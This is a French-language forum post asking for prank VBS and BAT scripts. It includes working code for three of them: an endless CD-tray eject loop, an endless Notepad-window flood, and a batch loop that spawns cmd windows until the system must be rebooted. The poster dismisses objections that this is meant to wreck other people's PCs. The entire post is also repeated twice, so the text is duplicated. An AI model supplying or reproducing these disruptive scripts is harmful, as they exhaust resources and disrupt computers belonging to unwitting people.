#1
Salut a tous !
JE cherche quelques fichiers vbs ou BAT pour m'amuser
j'ai déja quelques commandes comme celles ci en vbs
Lecteur CD ouvert/fermé ^^ :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
nodepad fl00d
WScript.Sleep 10
WScript.Sleep 10
Set WshShell = WScript.CreateObject("WScript.Shell")
do
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "notepad"
loop
et en .bat la fameuse cmd ^^
cmd flood must reboot !
:lol
start cmd
start cmd
start cmd
start cmd
start cmd
start cmd
goto lol
__________________________________
Je cherche d'autres commandes comme ca si qqun en a ( avec évidament ce que ca fait ^^ )
Merci a tous
Et je me passe des réponses du genre
"tu sert a rien juste a faire chier le monde et bousiller le pc des autres"
JE cherche quelques fichiers vbs ou BAT pour m'amuser
j'ai déja quelques commandes comme celles ci en vbs
Lecteur CD ouvert/fermé ^^ :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
nodepad fl00d
WScript.Sleep 10
WScript.Sleep 10
Set WshShell = WScript.CreateObject("WScript.Shell")
do
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "notepad"
loop
et en .bat la fameuse cmd ^^
cmd flood must reboot !
:lol
start cmd
start cmd
start cmd
start cmd
start cmd
start cmd
goto lol
__________________________________
Je cherche d'autres commandes comme ca si qqun en a ( avec évidament ce que ca fait ^^ )
Merci a tous
Et je me passe des réponses du genre
"tu sert a rien juste a faire chier le monde et bousiller le pc des autres"